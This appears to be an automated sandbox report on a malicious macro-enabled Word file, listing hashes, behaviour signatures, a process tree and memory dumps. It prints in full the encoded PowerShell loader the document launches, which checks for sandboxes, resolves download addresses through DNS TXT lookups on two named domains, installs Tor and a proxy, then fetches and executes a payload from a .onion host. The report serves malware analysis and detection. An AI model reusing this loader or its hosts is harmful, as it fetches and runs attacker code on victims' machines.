Analysis

  • max time kernel
    131s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2022 12:12

General

  • Target

    10bacee0e5b5ce70e683fef29b14ae47e9b5fb45322874d8a3ced7de451ac015.docm

  • Size

    23KB

  • MD5

    0a025ff3b12a25be975eaeb951ba5eb0

  • SHA1

    aa4d98d242f266cd965e47c66c9aaa5a9372cc4f

  • SHA256

    10bacee0e5b5ce70e683fef29b14ae47e9b5fb45322874d8a3ced7de451ac015

  • SHA512

    e1da3856412b8c17e35f952cf18627ae7a2c3a401fc6099e9752ff4b52f0c32d86dc2b09b0184bfa36b94890d6b06dca608fdf09042489b0735089c056dc6979

  • SSDEEP

    384:CTe1Z903cHmL5uqaIkANOF8SyIFGSSp942MI4TCpKXG6F7//o4MATErIXuH:31dHmQFOHp9gI4T+3AsIX0

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10bacee0e5b5ce70e683fef29b14ae47e9b5fb45322874d8a3ced7de451ac015.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -encodedcommand JwBsAFYAQgBqAFcAVwAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACcAagBOAFEATwBBAGkATQBNAGsAZABSACcAOwAnAGoAbQBxACcAOwAkAHcAdwBvACAAPQAgACgAZwBlAHQALQB3AG0AaQBvAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEADsAJwBTAGEAUgB0ACcAOwAnAEUAbABGAGUAWABPAHQAUQBqAHoAJwA7AGkAZgAgACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQAdwB3AG8AKQB7ADsAJwBRAGEAVgBkAEYARgBqAGoAJwA7ACcATQB0AHEAQgB1ACcAOwAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0AaQBkACAAJABwAGkAZAApAC4ASwBpAGwAbAAoACkAOwAnAGMAdwAnADsAJwBPAE4AQgBHAFoAJwA7AH0AOwAnAFgAWAB6AHkARQB4AFAAeABGAGgAWQAnADsAJwBwAE0AZABTAEYASwBxAHIAdgBMAGEAJwA7ACcAWgBiAEUASwBiAFMAVQBoACcAOwAnAHgAagBwAFoAZQBZAEQAdgAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAcQB6AGEAKQB7ADsAJwBiAEcAYQBMAEEATABuAE0AdwAnADsAJwBFAE4AeABMAFQASwBkAGoAJwA7ACQAbwByAG8AdAAgAD0AIAAoACgAKABpAGUAeAAgACIAbgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJABxAHoAYQAgADgALgA4AC4AOAAuADgAIgApACAALQBtAGEAdABjAGgAIAAnACIAJwApACAALQByAGUAcABsAGEAYwBlACAAJwAiACcALAAgACcAJwApAFsAMABdAC4AVAByAGkAbQAoACkAOwAnAFoAdQBpAEEAegBaAFQAJwA7ACcASQBuACcAOwAkAGIAcAAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABvAHIAbwB0ACwAIAAkAGEAaQApADsAJwBQAFIAQwBMAEkARgBWAFEASAAnADsAJwBjAFYAJwA7ACQAZgBpACAAPQAgACQAZgBqAHgALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAYQBpACkALgBJAHQAZQBtAHMAKAApADsAJwBjAG0AQgBsAGsAaQBVAFcAJwA7ACcAcABKAHMAYgBXAGYAbABPAEEAUQAnADsAJABmAGoAeAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB6AHUAaQApAC4AQwBvAHAAeQBIAGUAcgBlACgAJABmAGkALAAgADIAMAApADsAJwBmAEwARwB6AFcAJwA7ACcAcQBhACcAOwByAGQAIAAkAGEAaQA7ACcASQB0AHAASwAnADsAJwBnAEEAYwB4AFEAbwBrAGoAYgBkAHEAJwA7AH0AOwAnAGQAZgBiAFcAcQBMAHQAJwA7ACcAcAB5AGkAQgBKAEcAUAByAHMAJwA7ACcAUwBIAHIAZQBEAHIAcQBzAGwARwBPACcAOwAnAGIAbQBYAGoAbABHAGsAUABOAE8AVwAnADsAJwB2AEwAYgAnADsAJwB0AEgAWgBGAEcARgBFAFYAUwAnADsAJAB6AHUAaQAgAD0AIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAnAFwAJwAgACsAIAAkAHcAdwBvADsAJwBRAEYAWQBhAEUAYgBZAFUAJwA7ACcAVgB5AGIASwB4AFkASQBTAFYAVgAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAdQBpACkAKQB7ADsAJwBsAGEAcwB4AGcAJwA7ACcAVwBVAGQASwBIAFkAJwA7ACQAagBuAGoAIAA9ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJAB6AHUAaQA7ACcAVwBTAEIATgB6AHIAUQBXAFIAcAAnADsAJwBPAG0AcgBMAEoAUwBDAGMAcwBiACcAOwAkAGoAbgBqAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAiAEgAaQBkAGQAZQBuACIALAAgACIAUwB5AHMAdABlAG0AIgAsACAAIgBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUAeABlAGQAIgA7ACcAQQBWAEsAdAAnADsAJwBYAHoAUQBTAEMAJwA7AH0AOwAnAGMAcwBQAHAATAB6ACcAOwAnAEcAcQBBACcAOwAnAFgAVQBOAGMAUgBzACcAOwAnAHUAYQBkAFoAcwAnADsAJABmAGsAegA9ACQAegB1AGkAKwAgACcAXAB0AG8AcgAuAGUAeABlACcAOwAnAGMAdABBAFUAUwAnADsAJwBuAGQARABkAFcAbABpAFoAdgAnADsAJABzAHoAZQBvAD0AJAB6AHUAaQArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcAYwBDACcAOwAnAHYATQB0AFoAawAnADsAJABhAGkAPQAkAHoAdQBpACsAJwBcACcAKwAkAHcAdwBvACsAJwAuAHoAaQBwACcAOwAnAGsAcgBLAHkARQBqAGgAcwAnADsAJwBKAHIAaQB4AHkAdwAnADsAJABiAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJwBxAGcAbABvAEgAdgBmAGoAJwA7ACcAawBtAE4AVwBCAFoAdwBhAEEAUgAnADsAJABmAGoAeAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAFgAWQBMAEkAawBRACcAOwAnAFoATwBVAHUAJwA7ACcAWQBFAEoARgAnADsAJwBOAFkAQwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcASABrAHUATgBEAEcAWgBqAHgAUABOACcAOwAnAHoATgBPAGIAaQBwAGEAbQBDAFQAJwA7AGUAIAAnAGkALgB2AGEAbgBrAGkAbgAuAGQAZQAnADsAJwBsAGMATgBSAG4AcwByAEwAegBuAEcAJwA7ACcASgBlAEkARABQAGsAVQBQAGMAYQBNACcAOwB9ADsAJwBQAGMAYwB3AE0AcQBtAGoASQByACcAOwAnAEwAYwBqACcAOwAnAFIAUwBkAGMAYgBCAGQAcgBXACcAOwAnAEsAdABXAFoASQBkAE0AbwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcAZQBVAFIAUAB0AEUAZAAnADsAJwBxAEEAbwBIACcAOwBlACAAJwBnAGcALgBpAGIAaQB6AC4AYwBjACcAOwAnAEMAawBqAEsAJwA7ACcASAByAEwAcgAnADsAfQA7ACcAQgBEAG8AJwA7ACcAZABoAFYAWQBSAHUAZgBPACcAOwAnAHEAVAB0AFIAJwA7ACcAdwBXAEgATgByAHkAJwA7ACQAdwBjAD0AJAB6AHUAaQArACcAXAByAG8AYQBtAGkAbgBnAGwAbwBnACcAOwAnAHgAUABRAGcASwAnADsAJwBhAEYAZwBsACcAOwBzAGEAcABzACAAJABmAGsAegAgAC0AQQByACAAIgAgAC0ALQBMAG8AZwAgAGAAIgBuAG8AdABpAGMAZQAgAGYAaQBsAGUAIAAkAHcAYwBgACIAIgAgAC0AdwBpACAASABpAGQAZABlAG4AOwAnAHMASAAnADsAJwBxAHYAawBXAGcAUQBGAE4AJwA7AGQAbwB7AHMAbABlAGUAcAAgADEAOwAkAGwAbAA9AGcAYwAgACQAdwBjAH0AdwBoAGkAbABlACgAIQAoACQAbABsACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBKAHoASgB0AHcAYQBvAHgAbwBkACcAOwAnAGYAbQBMAGkAYgBOAEQAUQBYAGkAVAAnADsAcwBhAHAAcwAgACQAcwB6AGUAbwAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcATQBNAEwAQgAnADsAJwBQAEIAJwA7AHMAbABlAGUAcAAgADcAOwAnAHIAbQB0ACcAOwAnAFUARwBZAFoAbwBIAGEAUAByAEkARAAnADsAJABsAGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQAoACIAbABvAGMAYQBsAGgAbwBzAHQAOgA4ADEAMgAzACIAKQA7ACcAbQBqAGUAQQBxAFUAJwA7ACcASABoAFYAegAnADsAJABsAGYALgB1AHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEUAbwB3AGoAbABpAGIASQBpAGkAeQAnADsAJwBKAG8AegAnADsAJABiAHAALgBwAHIAbwB4AHkAPQAkAGwAZgA7ACcAdABRAG0AbAB5AHgAZwBTAHEATAAnADsAJwBPAFAAWQBBAHUARQBwAGkAcwBBAHoAJwA7ACQAbwB4AHEAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAdQBpAGQAPQAnACAAKwAgACQAdwB3AG8AOwAnAEwAYwBPACcAOwAnAFkAegBUAHkAQQBMAFAAJwA7AHcAaABpAGwAZQAoACEAJABjAGwAKQB7ACQAYwBsAD0AJABiAHAALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAkAG8AeABxACkAfQA7ACcAbABNAEIAJwA7ACcARgBRAFEAcABKAG4AQQAnADsAaQBmACAAKAAkAGMAbAAgAC0AbgBlACAAJwBuAG8AbgBlACcAKQB7ADsAJwBUAEsATgBUAG8AJwA7ACcASQBOACcAOwBpAGUAeAAgACQAYwBsADsAJwBQAGkATQAnADsAJwBKAGUAeQBsAGUAZgAnADsAfQA7ACcASgBpAG8AawBLAEsAJwA7AA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2144
      • C:\Windows\system32\nslookup.exe
        "C:\Windows\system32\nslookup.exe" -querytype=txt i.vankin.de 8.8.8.8
        3⤵
          PID:1536
        • C:\Windows\system32\nslookup.exe
          "C:\Windows\system32\nslookup.exe" -querytype=txt gg.ibiz.cc 8.8.8.8
          3⤵
            PID:260

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/260-144-0x0000000000000000-mapping.dmp

      • memory/1536-143-0x0000000000000000-mapping.dmp

      • memory/2144-140-0x000001E0CEB50000-0x000001E0CEB72000-memory.dmp

        Filesize

        136KB

      • memory/2144-139-0x0000000000000000-mapping.dmp

      • memory/2144-145-0x00007FFC0AA00000-0x00007FFC0B4C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2144-142-0x000001E0CF190000-0x000001E0CF1D4000-memory.dmp

        Filesize

        272KB

      • memory/2144-141-0x00007FFC0AA00000-0x00007FFC0B4C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2608-138-0x00007FFBF3960000-0x00007FFBF3970000-memory.dmp

        Filesize

        64KB

      • memory/2608-132-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-135-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-137-0x00007FFBF3960000-0x00007FFBF3970000-memory.dmp

        Filesize

        64KB

      • memory/2608-134-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-133-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-136-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-147-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-148-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-149-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB

      • memory/2608-150-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

        Filesize

        64KB